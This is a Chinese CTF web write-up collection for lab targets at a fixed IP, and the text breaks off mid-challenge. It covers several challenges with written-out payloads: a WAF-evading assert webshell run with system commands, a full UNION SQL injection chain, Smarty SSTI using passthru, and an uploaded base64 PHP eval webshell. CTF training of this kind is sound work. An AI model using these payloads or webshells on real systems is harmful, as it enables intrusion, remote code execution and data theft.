ctf之WEB练习三
import os
os.system('ls /')
上传成功,并查看源代码,发现存在系统网站的根目录,并且也发现根目录中包含flag文件
查看flag
import os
os.system('cat /flag')
flag{e5d6e3fe29850f7fec9ea6ef55f86050}
题目名称:GET
题目内容:flag{}
题目wirteup:
启动题目场景,获得靶场网站,访问网站,页面上显示了一段php代码
http://114.67.246.176:13678/
进行简单的代码审计,发现传递http get方法的what参数变量,当what参数变量等于flag时,那么就输出flag,这里构造:?what=flag,即可得到flag
最终flag:
flag{54790dba4001f7ded2ebde88ca82a3ca}
题目名称:POST
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现一段php代码
进行简单的代码审计,发现传递http post get方法的what参数变量,当what参数变量等于flag时,那么就输出flag,
这里构造:
post:
what=flag
即可获得flag
最终flag:
flag{4335dd4cc76278468578d8026fb121ae}
题目名称:矛盾
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现是一段php 代码
通过对代码的简单分析,我们可以发现传入了一个参数num,这里涉及道一个函数is_numeric,这个函数是检测变量是否为数字或数字字符串,是数字和数字字符串则返回 TRUE,否则返回 FALSE
这条语句的意思是要传入的num参数既不是数字字符串,并且又要等于1.'
num==1的判定是两个等号,这是弱类型比较,如果等号两边类型不同,会转换成相同类型再比较。
在弱类型比较下,当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如123ab7c会转成123,ab7c会转成0.(字母前没数字就是0),所以,构造:?num=1a,即可得到flag
最终 flag:
flag{d95c4676fd2740a47e0393cf3364e3e3}
题目名称:alert
题目内容:flag{}
题目wireup:
启动场景,获得靶场网站,打开页面,发现是一个无限制弹窗
http://114.67.246.176:15743/
对其通过源码形式访问,并查看网页源码,发现注释中有一段以&#开头的unicode编码
通过在线unicode解密,得到flag内容
http://tool.chinaz.com/tools/unicode.aspx
最终flag:
flag{09eec7218f68c04c87093052720c2c11}
题目名称:你必须让他停下
题目wireup:
启动题目场景,获得靶场网站,访问网站,页面不断刷新图片
对页面进行源代码查看,并没有发现flag,只是有单不断刷新页面的scirpt脚本
通过bupsuit对其抓包,然后我们通过不断重复的发送数据包go,最终在响应页面可以看到flag内容
最终flag:
flag{ff9acfa3bbec16fe29b3ad5aef8f5421}
题目名称:社工-初步收集
题目内容:其实是杂项,勉强算社工吧。来自当年实战
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现是一个刷钻网站
http://114.67.246.176:13506/#goumai
通过御剑对其目标靶场网站进行目录扫描,发现存在admin后台
访问admin目录,确实存在后台
http://114.67.246.176:13506/admin/login.php
在该靶场主页下方,可下载辅助,这里我么对其下载。
解压后,然后再虚拟机中运行该刷钻程序
在输入qq和密码点击开始,通过wrishark 对其抓包分析,发现弹出一个窗口“哈哈,小别致别骗了”
仔细观察抓到的包,会发现疑似存在发包的邮箱和Base64加密的Pass。
对base64进行解密成功,看起来,这个不像是密码,太长了,而是想授权码。
打开Foxmail登录,输入邮箱地址,然后输入授权码,即可登录。
查看收件箱,按“主题”排序后,找到一封有可利用信息的邮件
可以看到发件人为Mara
发件时间是2021年,现在20岁,可以判断在2001年出生
又说是前两天过生日,可以判断生日为2月6号
尝试登陆一下输入:用户名mara ,密码为maryy生日号码:20010206
成功登录系统,查看网站后台中的网站设置---播放器key,即可得到flag
点击Intruder中的options选项卡找到Grep-Match(在响应中找出存在指定的内容的一项。),在输入框中我们输入{code: 'bugku10000'}之后点击Add添加。
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
$key=$second;
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}else{
$third=$first;
if(preg_match("/\\|\056\160\150\x70/i",$third)){
$end=substr($third,5);
highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
}
}
}
else{
highlight_file(__FILE__);
}
逐块分析
1、传入参数zero与first,将二者拼接后传值给$second
$zero=$_REQUEST['zero']; $first=$_REQUEST['first']; $second=$zero.$first;
2、第一个正则匹配
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))
$second中,即拼接后的结果里要至少有上述内容中的一项。传入的两个参数只要有这其中的字符就行了。
3、第二个正则匹配
if(preg_match("/\.\.|flag/",$key)){ die("Noooood hacker!"); }
当$key即($second)中有. 或flag时被过滤,也就是不能匹配到 . 或flag
4、第三个正则匹配
$third=$first; if(preg_match("/\\|\056\160\150\x70/i",$third)){ $end=substr($third,5); highlight_file(base64_decode($zero).$end);//maybe flag in flag.php }
前端带了两个参数回来,ZERO FIRST,second是这两个变量值拼接
second第一层if要匹配的正则表达式是 Yeedo|wants|a|girl|friend|or|a|flag ,意思是只要出现这几个单词中的一个就可以过
第二层if要匹配的是…|flag,是…或者flag,意思second不能带…或者flag
first变量匹配\|\056\160\150\x70
\056是ascii编码,就跟c语言中char a=97,a是字符’a’一样,056 160 150是8进制,x70是16进制,不好理解可以把它转成十进制再转换转换出来就是.php
关于双重转义,在匹配正则时,字符串会先转义,然后再去匹配正则,\|\056\160\150\x70,字符串会被转义成|.php交给正则匹配器匹配,匹配的结果就是含有|.php
的字符串可以被接受(只有给正则匹配器的是\|.php才是\或者.php)
两重转义基础知识:
在正则表达式中要匹配一个反斜杠时,例如"\\\\",前后两个反斜杠在字符串中分别变成一个反斜杠,解释为两个反斜杠,再交由正则表达式解释为一个反斜杠,需要四个反斜杠。
字符串 ----> 正则表达式字符串参数 -----> 正则解析转移后的pattern
字符串:"\\." ----> 正则表达式形式:"\." ---> 正则引擎解析结果"\."(转义的.)
字符串:"(\\)(\\)" ----> 正则表达式形式:"\\" ---> 正则引擎解析结果"\"(普通符号\)
字符串:"(\\)(\\)|.php" ----> 正则表达式形式:"\\|.php" ---> 正则引擎解析结果pattern为"\"或".php"(普通符号\)
字符串:"(\\)|.php" ----> 正则表达式形式:"\|.php" ---> 正则引擎解析结果"|.php"(普通符号\)
关键正则匹配if(preg_match("/\\|\056\160\150\x70/i",$third))进行分析:
其中\056\160\150\x70是三个八进制一个十六进制,编码过来就是.php的意思
这里有个优先级的问题,当匹配字符串中有字符串转义时,先进行字符串转义,然后进行正则匹配的相关转义。
开始以为这里是匹配的\ 或.php,测试后发现匹配的是|.php,因为\\|转义成\|后,又转义了一次,最后变成|,然后和后面的.php拼接成|.php
056-46-.
160-112-p
150-104-h
70--112-p
字符串转义后结果是
if(preg_match("/\|.php/i",$third))
所以$first的值为|.php
易知$zero的值为ZmxhZy5waHA (flag.php经过一次base64编码)
回到第一个正则匹配,需要满足条件才能进入后面的匹配,这里比较有意思的是ZmxhZy5waHA中恰好有一个a
因此可以开始构造:
方法一:zero是flag.php的base64编码
?zero=ZmxhZy5waHA&first=|.php
http://114.67.246.176:14170/?zero=ZmxhZy5waHA&first=|.php
方法二: zero是flag的base64编码,first从第5个字串开始是.php ,substr()函数,从第五个字符开始截取,所以就在前填四个a,截取成.php
flag的base64编码是ZmxhZw==
zero=ZmxhZw==&first=aaaa|.php
http://114.67.246.176:14170/?zero=ZmxhZw==&first=aaaa|.php
方法三: zero是 flag.的base64编码为 ZmxhZy4=
?zero=ZmxhZy4=&first=aaa|.php
http://114.67.246.176:14170/?zero=ZmxhZy4=&first=aaa|.php
最终flag:
flag{05b07ce4e05b5b8fce3bfde9b1c2ae03}
题目名称:cookies
题目内容:cookies欺骗
题目writeup:
启动题目场景,获得靶场网站,访问靶场网站,页面内容显示一段很长串的字符串,无果。
http://114.67.246.176:10306/index.php?line=&filename=a2V5cy50eHQ=
通过bupsuit对其抓包分析http://114.67.246.176:10306/index.php?line=&filename=a2V5cy50eHQ=这里line 代表行数,filename代表文件名的base64.其中a2V5cy50eHQ= 进行base64解密得到 keys.txt,这里的请求就是获得keys.txt的内容。将line改成1(第二行)发现在响应页面中没有内容,改成0,可获得内容,证明该keys.txt只有1行内容(如果不对行数赋值,默认是0,也就是第一行)http://114.67.246.176:10306/index.php?line=0&filename=a2V5cy50eHQ=通过题目内容分析,index.php和keys.txt存在靶机网站系统中对index.php文件名进行base64加密得到:aW5kZXgucGhw尝试读取index.php第一行内容,构造POC如下:可以通过python脚本批量读取index.php所有内容:#coding=utf8
import requests
url1 = "http://114.67.246.176:10306/index.php?line="
url2 = "&filename=aW5kZXgucGhw"
mysession = requests.session()
s = ''
for i in range(0, 40):
r = mysession.get(url1+str(i)+url2) # 读取每一行代码
s = s + r.text
print(s)
读取得到的index.php源码:<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //表示有filename的话获取其内容,没有的话就赋值为空
$line=isset($_GET['line'])?intval($_GET['line']):0; //line有值直接获取,无值赋值为0
if($file=='')
header("location:index.php?line=&filename=a2V5cy50eHQ="); //设置我们看到的URL
$file_list = array( //关联型数组
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//接下来的指示,cookie中的margin参数要设置,且要等于'margin'
$file_list[2]='keys.php'; //在数组中加入keys.php,这应该存着flag
}
if(in_array($file, $file_list)){//看我们传入的filename的值是否在上面的数组中
$fa = file($file); //是则以文件的方式打开
echo $fa[$line]; //按line行号,输出
}
?>
简单代码分析:
如果if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin')
file_list会多出来一个keys.php文件,同时要得到keys.php文件内容还需要使$file=keys.php
即:
1.需要$file=keys.php从php代码中可以看出来,我们需要将keys.php这段字符串Base64加密为a2V5cy5waHA= , 然后将其作为filename的值
2.还要构造Cookie: margin=margin这个Cookie头
方法一:通过burpsuit抓包伪造cookie请求得到flag
http://114.67.246.176:10306/index.php?line=0&filename=a2V5cy5waHA=
方法二:通过python脚本批量获得flag
#coding=utf8
import requests
url = "http://114.67.246.176:10306/index.php?line=&filename=a2V5cy5waHA=" # filename替换为keys.php的base64加密后的内容
mysession = requests.session()
cookies = {'margin': 'margin'}
r = mysession.post(url, cookies=cookies)
print(r.text)
最终得到flag:flag{f54c600d8f3cc19bf89fc49dd49b11dc}
题目名称:never_give_up题目writeup:启动题目场景,获得靶场网站,访问靶场网站主页,页面显示“never never nver give up!!"http://114.67.246.176:17813/hello.php?id=1查看靶场主页的源码,发现源码中的注释中包含一个1p.html文件view-source:http://114.67.246.176:17813/hello.php?id=1直接get请求访问1p.html,直接跳转到bugku.com论坛。http://114.67.246.176:17813/1p.html这里查看1p.html的源码,发现源码中包含了一段javascritp脚本view-source:http://114.67.246.176:17813/1p.htmljavascript脚本中内容包含一些url编码的字符串:<SCRIPT LANGUAGE="Javascript">var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E" function OutWord(){var NewWords;NewWords = unescape(Words);document.write(NewWords);} OutWord();</SCRIPT>对其javascript脚本内容中进行url解密一次,可得到的内容包含一些base64加密的字符串<SCRIPT LANGUAGE="Javascript">var Words ="<script>window.location.href='http://www.bugku.com';</script> <!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF-->" function OutWord(){var NewWords;NewWords = unescape(Words);document.write(NewWords);} OutWord();</SCRIPT>对javacirpt脚本内容的base64加密字符串进行解密后,可得到的内容包含一些url编码的字符串<SCRIPT LANGUAGE="Javascript">var Words ="<script>window.location.href='http://www.bugku.com';</script> <!--%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E-->" function OutWord(){var NewWords;NewWords = unescape(Words);document.write(NewWords);} OutWord();</SCRIPT>再对其内容进行URL解码一次,得到完整的代码如下:<SCRIPT LANGUAGE="Javascript">var Words ="<script>window.location.href='http://www.bugku.com';</script> if(!$_GET['id']) //如果无法通过get获得id变量并且id不能为空和0
{ header('Location: hello.php?id=1');//如果id为空,则我们看到的URL加上hello.php?id=1 exit(); //退出脚本。}$id=$_GET['id']; //通过get方式获得其他文件的id变量$a=$_GET['a']; //通过get方式获得其他文件的a变量$b=$_GET['b']; //通过get方式获得其他文件的b变量if(stripos($a,'.')) //查找'.'在$a中出现的位置,只有a中没有'.'才会绕过这个if{ echo 'no no no no no no no'; return ;}$data = @file_get_contents($a,'r'); //将$a文件读入到data中if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)//核心语句,$a为一个文件名,文件内容是"bugku is a nice plateform!",$id为0,$b要求为第一个字符为'4',长度大于5/*要满足以下 5 条表达式才会爆 flag:- 变量 $id 弱等于整型数 0
- 变量 $b 的长度大于 5
- 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
- 变量 $b 的第一个字符弱不等于整型数 4
- 变量 $data 弱等于字符串 bugku is a nice plateform!
*/{ $flag = "flag{***********}"}else{ print "never never never give up !!!";}?>
function OutWord(){var NewWords;NewWords = unescape(Words);document.write(NewWords);} OutWord();</SCRIPT>简单代码分析:stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)file_get_contents 将整个文件读入一个字符串strlen() 函数返回字符串的长度substr() 函数返回字符串的一部分。substr(string,start,length) ,length参数可选。如substr($b,0,1)就是在参数b里面 ,从0开始返回1个长度的字符串eregi("111".substr($b,0,1),"1114")就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的
$data=="bugku is a nice plateform!”id==0与if(!GET( ′ id ′ )矛盾,所以用id=0e123456绕过,id为其他也可以。用$a=php://input通过php伪协议去绕过file_get_contentsb的长度大于5,eregi(“111”.substr($b,0,1),“1114”)这个函数是b的正则匹配 ,substr(b,0,1)!=4这个说明b开头不能为4,所以令$b=*123456有矛盾的条件是:id要求为0,但是下面要求id为整数0才能加载$a要求服务器端存在一个文件名,文件内容是"bugku is a nice plateform!",但是我们不是服务器端要求$b的第一个字符既等于字符'4',又不等于整数4其他条件是$a中不含 '.'字符串1114要与字符串111连接变量 $b 的第一个字符构成的正则表达式匹配$b长度大于5首先是id弱类型,只要将id赋值为任意字符串解释器就会判定其与0相等为TRUE,先假设id="aa":file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流php://input 可以访问原始请求数据中的只读流。这里令 $a = "php://input",并在请求body中提交字符串 bugku is a nice plateform!,php://input会将其读入$a。ereg()函数和eregi()函数存在空字符截断漏洞,即在参数与中的正则表达式和待匹配字符串中遇到了空格,则截断并丢弃后面的数据。在本题里面eregi("111".substr($b,0,1),"1114") ,即111拼接上substr($b,0,1),之后与"1114"比较,只要让"111"后面拼接上一个空格即"\x00" 就可以让eregi函数对后面的进行截断,造成的结果就是"111"等于"1114"。这里可以构造 $b="\x00abcdef" 满足长度大于5即可。因此,我们可以构造
id=%00或者id=.或者id=0e1
b=*12345或者?12345或者.12345(这里是运用了正则表达式的思想)
a=php://input
post:bugku is a nice plateform! 最终flag:flag{dcec7ea8a792bb7dcb7da6c245074832}
题目名称:shell题目内容:送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])题目writeup:启动题目场景,获得靶场网站,访问靶场网站主页,发现页面是空白查看靶场主页源码,内容也显示为空白view-source:http://114.67.246.176:18158/在题目内容描述中,作者给出了一句话免杀木马内容,这个一句话木马是index.php的内容:$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
该一句话后门其实就是运用拼接过waf,最后的运行结果是assert($_GET[‘s’])很明显assert是能执行shell命令的危险函数之一,要带过去的参数是s那么可以直接构造,首先想到system函数,没禁用查看当前路径,可以查看到当前目录存在2个文件:flaga15808abee46a1d5.txt 和index.php?s=system("ls")http://114.67.246.176:18158/?s=system("ls")那么flag在flaga15808abee46a1d5.txt文件中,通过cat命令查看flaga15808abee46a1d5.txt文件可获得flag?s=system("cat flaga15808abee46a1d5.txt")http://114.67.246.176:18158/?s=system("cat flaga15808abee46a1d5.txt")最终 flag:flag{7084e268d2193dc2e4e5c110e65f4f50}
题目名称:成绩查询题目writeup:启动题目场景,获得靶场网站,访问网站,发现网页是一个成绩查询页面,猜测查询框中存在注入点。http://114.67.246.176:11329/index.php在成绩查询文本框中输入1,并通过burpsuit抓包并发送请求包,响应页面中发现可正常显示分数id=1在id=1后加入单引号,响应页面中发现分数线为空,证明id参数存在注入。id=1'
通过order by查询字段数,发现在字段数为4页面显示正常id=1' order by 4#字段数为5页面显示不正常id=1' order by 5#说明order by 字段数为4
联合查询字段的回显位,发现在2,3,4位置存在回显位id=-1' union select 1,2,3,4#
联合查询出数据库名id=-1' union select 1,database(),3,4#得到数据库名:skctf
联合查询出表名id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf'#得到表名为:fl4g,sc
联合查询出fl4g 表中的字段名id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g'#得到字段名为:skctf_flag
联合查询出skctf_flag字段的内容id=-1' union select 1,group_concat(skctf_flag),3,4 from skctf.fl4g#
最终得到flag:flag{71bf5f1ce48c150c5a8fe67ebf670b77}
题目名称:秋名山车神题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面内容:需要2秒内计算出表达式结果.http://114.67.176:1210
在两秒内,先发起请求得到页面,截取算式,利用eval计算字符串表达式的值,刷新多次,发现数字是变化的,不过刷新过程中发现了要提交的参数value。
使用python脚本计算出value值然后提交获得flag:
#coding=utf8
import requests
from lxml import etree
'''
eval():将字符串str当成有效的表达式来求值并返回计算结果
'''
url = 'http://114.67.246.176:12110/'
response = requests.session()
re = response.get(url=url).content.decode('utf-8')
elements = etree.HTML(re).xpath('//div/text()')[0][0:-3]
result = eval(elements) //函数用来执行一个字符串表达式,并返回表达式的值
print(result,'\n')
data = {
'value':result
}
flag = response.post(url=url,data=data).content.decode('utf-8')
flag_x = etree.HTML(flag)
print(etree.tostring(flag_x,encoding='utf-8').decode('utf-8'))
print(flag)
最终flag:flag{d29ecec61bf1a4b75386c62decc4e9b8}
题目名称:速度要快题目writeup:启动题目场景,获得靶场网站,访问网站,页面内容显示“我感觉你的快点”,没可利用点http://114.67.246.176:18724/
查看靶场网站主页的源码,在注释中告诉我们需要用post方式提交参数变量margin才能获得flagview-source:http://114.67.246.176:18724/通过bupsuit对访问靶场主页进行抓包,发送请求包后,在响应http头部包含flag的base64内容得到base64加密的flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogT0RjMk1USTQ=base64解码得到:跑的还不错,给你flag吧: ODc2MTI4 ODc2MTI4看起来像base64,再次解密得到:876128,那么margin值为876128于是构造post提交:post:margin=876128 页面显示“我都说了让你快点”说明人工获取速度太慢,且通过人工获得flag时发现每次刷新都会产生新的flag,所以要用session对象会话保持同一个flag需要用脚本来构造请求获得flag:
import requests
import base64
s = requests.Session()
headers = s.get("http://114.67.246.176:18724/").headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1])
data = {'margin': str2}
flag = s.post("http://114.67.246.176:18724/", data=data)
print(flag.text)
最终flag为:
flag{fb9d516d0399f9942fd8ecdd4f49702c}
题目名称:聪明的php
题目writeup:
启动题目场景,获得靶场网站,靶场网站主页页面内容显示“传递一个参数,flag的文件名是随机的”。
http://114.67.246.176:16000/
根据上文提示,随机传一个参数s(任意),值也是任意,可得index.php的源码。发现smarty是个模板,尝试一下是不是模板注入测试{{2*1}}的结果,可以看到页面上显示了计算结果,说明该smarty模板存在ssti注入
得到的index.php的主要源码为:include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?> 通过以上代码简单的分析,网站存在存在命令执行漏洞,发现过滤挺多的函数,发现passthru()函数没有被过滤,这个函数可以代替system()。passthru()函数只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
所以构造payload:{passthru("")}linux查看文件的命令
cat tac more less head tail nl static-sh paste od bzmore bzless
php文件读取函数
printr() fread() fgets() vardump()
方法一:使用passthru函数找到flag文件,并读取flag文件内容
使用passthru函数通过ls命令查看当前目录下存在的文件
http://114.67.246.176:16000/index.php?f={passthru(%22ls%22)}{passthru("ls")}可以列出当前目录下存在index.php以及cache等文件,但并包含flag内容。
使用passthru函数通过ls命令查看前根目录下存在的文件{passthru("ls -al /")}http://114.67.246.176:16000/index.php?f={passthru(%22ls%20-al%20%20/%22)}以列出当前根目录下存在一个可疑的文件_17211,该文件也符合上文提示的“flag文件为随机文件”
于是通过tac命令(Cat命令被过滤了,用tac命令替代查看文件内容)查看_17211文件内容,可以成功查看到 flag文件内容{passthru("tac /_17211")}http://114.67.246.176:16000/index.php?f={passthru(%22tac%20/_17211%22)}
方法二:使用scandir函数找到flag文件,并读取flag文件内容{print_r(scandir("/"))}http://114.67.246.176:16000/index.php?f={print_r(scandir(%22/%22))}{var_dump(scandir("/"))}http://114.67.246.176:16000/index.php?f={print_r(scandir(%22/%22))}
{fread(fopen("/_17211","r"),4096)}http://114.67.246.176:16000/index.php?f={fread(fopen(%22/_17211%22,%22r%22),4096)}最终得到flag:flag{95f6e0916a19c4deb053c324da0562f1}
题目名称:xxx二手交易市场题目内容:本人现实碰到的题目,无提示勿问题目writeup:启动题目场景,获得靶场网站,访问网站主页,发现是一个二手交易网站http://114.67.246.176:11026/sale按照正常流程,是用用户名trss123用户名,密码123456,进行注册一个账号。http://114.67.246.176:11026/reg使用账号trss123,密码123456,成功登陆到个人后台,发现在个人头像处可以上传图片http://114.67.246.176:11026/user并且文件内容开头是:
image=data:image/jpeg;base64,baes4(字符串加密)即image=data:image/php;base64,
数据以base64编码的数据流形式传输,将data:image/jpeg修改为data:image/php,再在后面加上一句话木马:<?php @eval($_POST[cmd]); ?>一句话木马base64编码后的字符串:PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==因此构造payload为:image=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==获得一句话木马上传的物理路径:/Uploads/heads/fe50c88fd127cf1b.php 最终得到一句话的后门路径访问地址:http://114.67.246.176:11026/Uploads/heads/fe50c88fd127cf1b.php 通过蚁剑连接一句话后门在/var/www/html目录下存在flag文件查看flag文件,可获得flag内容最终得到flag:flag{686b0419f11322377b672b906442a6cd}
题目名称:闪电十六鞭题目内容:flag{}题目writeup:启动题目场景,获得靶场网站,访问网站主页,页面显示一段php代码,且含有一个click here超链接。http://114.67.246.176:15839/
点击click here超链接,得到一个url地址该url地址后的flag值的长度为:len("return'return'c2ba6ed801720ae57a0c08ab35980e6e20d5d4f7';")=49并且得到的php源码:<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);由源码可知,$flag可以输出,且输出后就是flag,需要绕过2个条件才能获得到flag1.绕过条件一:使用短标签<? ?>可以构造出echo绕过<?php ?>:<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>,当你发现你的PHP不支持使用短标签,请到PHP的安装目录下找到php.ini文件,使用Ctrl+F搜索short_open_tag ,然后将等号后面的Off改成On,再重新启动Apache服务,那么短标签就会被识别了
因此构造短标签<?=$flag;?>就可以输出flag了,但是flag被过滤了$a构造一个flag字符串,然后echo $$a,不过[]被过滤了。2.绕过条件2:用大括号代替方括号[]:在PHP中,大括号“{}”可以起到如下作用:将多个独立语句合并为一个复合语句,例如 if ... else ...中经常如此使用在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}与${$my_var}[8]的区分用于指示字符串变量中的单个字符(下标从0开始),例如$my_str="1234";$my_str{1}='5'; //现在 $my_str 内容为 '1534'
因此最后构造?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111第一个;?>是为了让代码开头的<?php闭合,不然<?=$$a?>无法执行,后面填充字符111111111111111111,需要满足长度条件。 http://114.67.246.176:15839/?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111最终flag:flag{78062956}
题目名称:sodirty题目writeup:启动题目场景,获得靶场网站,访问网站主页,页面显示内容为“前段被炒了“无任何利用点http://114.67.246.176:14918/index点击注册链接,页面内容显示用户创建成功,也没有利用点http://114.67.246.176:14918/reg
